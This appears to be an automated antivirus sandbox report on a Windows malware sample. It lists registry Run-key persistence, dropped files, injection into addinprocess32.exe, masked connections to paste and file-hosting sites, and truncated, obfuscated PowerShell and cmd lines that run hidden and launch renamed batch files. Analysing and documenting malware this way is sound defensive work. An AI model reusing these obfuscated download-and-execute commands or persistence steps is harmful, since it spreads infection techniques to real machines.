Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Path' = '%ALLUSERSPROFILE%\receipt.vbs'
Malicious functions
Creates and executes the following
- '%TEMP%\rcbwlu.exe'
- '%TEMP%\ggosfk.exe'
- '%TEMP%\dohrgp.bat.exe' -w hidden -c $ZiYB='TWHQYraWHQYnsWHQYfoWHQYrmFiWHQYnalWHQYBloWHQYckWHQY'.Replace('WHQY', '');$TWWf='CreWHQYateWHQYDeWHQYcryWHQYptWHQYorWHQY'.Replace('WHQY', '');$JFEq='LoWHQYadWHQY'.Replace('WH...
Downloads and executes files.
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework\v4.0.30319\addinprocess32.exe
Terminates or attempts to terminate
the following system processes:
- %WINDIR%\microsoft.net\framework\v4.0.30319\addinprocess32.exe
Modifies file system
Creates the following files
- %TEMP%\content\2452-4576-wscript.exe-14-33-54-949.dump
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\bk
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\violence
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\you
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\emotions
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\richmond
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\verizon
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\ld
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\responding
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\which
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\que
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\worm
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\argentina
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\participate
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\fighter
- %TEMP%\dohrgp.bat.exe
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\blackberry
- %TEMP%\__psscriptpolicytest_sbrywivn.lmb.ps1
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\orlando
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\cool
- %TEMP%\content\2452-4576-wscript.exe-14-33-54-988.dump
- %ALLUSERSPROFILE%\receipt.vbs
- %TEMP%\rcbwlu.exe
- %TEMP%\dohrgp.bat
- %TEMP%\ggosfk.exe
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\calendars
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\shows
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\correction
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\act
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\require
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\lcd
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\about
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\enhancements
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\genre
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\previews
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\alot
- %TEMP%\__psscriptpolicytest_mvzyn3vz.xgs.psm1
Sets the 'hidden' attribute to the following files
- %TEMP%\dohrgp.bat.exe
Moves the following files
- from %LOCALAPPDATA%\microsoft\windows\<INETFILES>\emotions to %LOCALAPPDATA%\microsoft\windows\<INETFILES>\emotions.bat
- from %LOCALAPPDATA%\microsoft\windows\<INETFILES>\correction to %LOCALAPPDATA%\microsoft\windows\<INETFILES>\correction.bat
Network activity
Connects to
- 'pa##e.ee':443
- 'up#####eimagens.com.br':443
- 'cd#.##scordapp.com':443
- 'pa###bin.com':443
- '91.##.249.142':8989
TCP
HTTP GET requests
- http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?f3##############
- http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/CABD2A79A1076A31F21D253635CB039D4329A5E8.crt?ab##############
Other
- 'pa##e.ee':443
- 'cd#.##scordapp.com':443
- 'pa###bin.com':443
- '91.##.249.142':8989
UDP
- DNS ASK pa##e.ee
- DNS ASK up#####eimagens.com.br
- DNS ASK cd#.##scordapp.com
- DNS ASK pa###bin.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgT...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden Copy-Item -Path *.vbs -Destination %ALLUSERSPROFILE%\receipt.vbs' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c move Emotions Emotions.bat && Emotions.bat' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c move Correction Correction.bat && Correction.bat' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgT...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden Copy-Item -Path *.vbs -Destination %ALLUSERSPROFILE%\receipt.vbs
- '%WINDIR%\microsoft.net\framework\v4.0.30319\addinprocess32.exe'
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\dohrgp.bat" "
- '%WINDIR%\syswow64\cmd.exe' /c move Emotions Emotions.bat && Emotions.bat
- '%WINDIR%\syswow64\cmd.exe' /c move Correction Correction.bat && Correction.bat
- '%WINDIR%\syswow64\cmd.exe' /K "%TEMP%\dohrgp.bat"
